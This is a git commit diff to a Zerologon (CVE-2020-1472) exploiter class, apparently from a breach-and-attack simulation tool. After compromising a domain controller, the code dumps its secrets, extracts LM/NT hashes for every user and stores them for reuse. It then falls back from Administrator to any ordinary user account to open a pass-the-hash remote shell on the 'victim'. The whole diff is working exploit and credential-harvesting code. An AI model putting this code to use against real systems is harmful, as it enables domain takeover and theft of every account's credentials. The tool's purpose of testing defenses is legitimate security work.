restoring pwd: uses next available user account in case Administrator isn't found

and save all other credentials
This commit is contained in:
Shreya 2021-02-15 19:37:45 +05:30
parent c20e677940
commit e0ae8381ba
1 changed files with 61 additions and 36 deletions

View File

@ -5,8 +5,9 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g
import logging
import os
import re
from binascii import unhexlify
from typing import List, Optional
from typing import Dict, List, Optional
import impacket
from impacket.dcerpc.v5 import nrpc
@ -64,9 +65,7 @@ class ZerologonExploiter(HostExploiter):
# Restore DC's original password.
if _exploited:
is_pwd_restored, restored_pwd_hashes = self.restore_password()
if is_pwd_restored:
self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes)
if self.restore_password():
LOG.info("System exploited and password restored successfully.")
else:
LOG.info("System exploited but couldn't restore password!")
@ -138,22 +137,22 @@ class ZerologonExploiter(HostExploiter):
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
return _exploited
def restore_password(self) -> (Optional[bool], List[str]):
def restore_password(self) -> bool:
LOG.info("Restoring original password...")
try:
admin_pwd_hashes = None
rpc_con = None
# DCSync to get Administrator password's hashes.
LOG.debug("DCSync; getting Administrator password's hashes.")
admin_pwd_hashes = self.get_admin_pwd_hashes()
if not admin_pwd_hashes:
raise Exception("Couldn't extract Administrator password's hashes.")
# DCSync to get some username and its password's hashes.
LOG.debug("DCSync; getting some username and its password's hashes.")
user_details = self.get_user_details()
if not user_details:
raise Exception("Couldn't extract username and/or its password's hashes.")
# Use Administrator password's NT hash to get original DC password's hashes.
# Use above extracted credentials to get original DC password's hashes.
LOG.debug("Getting original DC password's NT hash.")
original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes))
username, user_pwd_hashes = user_details[0], [user_details[1]['lm_hash'], user_details[1]['nt_hash']]
original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes))
if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's NT hash.")
@ -162,7 +161,7 @@ class ZerologonExploiter(HostExploiter):
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return False, admin_pwd_hashes
return False
# Start restoration attempts.
LOG.debug("Attempting password restoration.")
@ -170,17 +169,17 @@ class ZerologonExploiter(HostExploiter):
if not _restored:
raise Exception("Failed to restore password! Max attempts exceeded?")
return _restored, admin_pwd_hashes
return _restored
except Exception as e:
LOG.error(e)
return None, admin_pwd_hashes
return False
finally:
if rpc_con:
rpc_con.disconnect()
def get_admin_pwd_hashes(self) -> List[str]:
def get_user_details(self) -> (str, Dict):
try:
options = OptionsForSecretsdump(
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
@ -192,13 +191,21 @@ class ZerologonExploiter(HostExploiter):
username=f"{self.dc_name}$",
options=options)
user = 'Administrator'
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
return hashes # format - [lmhash, nthash]
extracted_creds = self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
admin = 'Administrator'
if admin in extracted_creds:
return admin, extracted_creds[admin]
else:
for user in extracted_creds.keys():
if extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts
return user, extracted_creds[user]
except Exception as e:
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
return None
def get_dumped_secrets(self,
remote_name: str = '',
username: str = '',
@ -209,17 +216,35 @@ class ZerologonExploiter(HostExploiter):
dumped_secrets = dumper.dump().split('\n')
return dumped_secrets
@staticmethod
def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]:
for secret in secrets:
if user in secret:
# format of secret - "domain\uid:rid:lmhash:nthash:::"
hashes = secret.split(':')[2:4]
return hashes # format - [lmhash, nthash]
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict:
extracted_creds = {}
def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None:
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1])
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
re_phrase =\
r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])'
for line in dumped_secrets:
secret = re.fullmatch(pattern=re_phrase, string=line)
if secret:
parts_of_secret = secret[0].split(':')
user = parts_of_secret[0].split('\\')[-1] # we don't want the domain
user_RID, lmhash, nthash = parts_of_secret[1:4]
extracted_creds[user] = {'RID': int(user_RID), # relative identifier
'lm_hash': lmhash,
'nt_hash': nthash}
self.store_extracted_creds_for_exploitation(extracted_creds)
return extracted_creds
def store_extracted_creds_for_exploitation(self, extracted_creds: Dict) -> None:
for user in extracted_creds.keys():
self.add_extracted_creds_to_exploit_info(user,
extracted_creds[user]['lm_hash'],
extracted_creds[user]['nt_hash'])
self.add_extracted_creds_to_monkey_config(user,
extracted_creds[user]['lm_hash'],
extracted_creds[user]['nt_hash'])
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
self.exploit_info['credentials'].update({
@ -242,8 +267,8 @@ class ZerologonExploiter(HostExploiter):
if nthash not in self._config.exploit_ntlm_hash_list:
self._config.exploit_ntlm_hash_list.append(nthash)
def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str:
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: str) -> str:
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
return
try:
@ -268,12 +293,12 @@ class ZerologonExploiter(HostExploiter):
finally:
self.remove_locally_saved_HKLM_keys()
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool:
LOG.debug("Starting remote shell on victim.")
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool:
LOG.debug(f"Starting remote shell on victim with user: \"{username}\" and hashes: \"{user_pwd_hashes}\". ")
wmiexec = Wmiexec(ip=self.dc_ip,
username='Administrator',
hashes=admin_pwd_hashes,
username=username,
hashes=user_pwd_hashes,
domain=self.dc_ip)
remote_shell = wmiexec.get_remote_shell()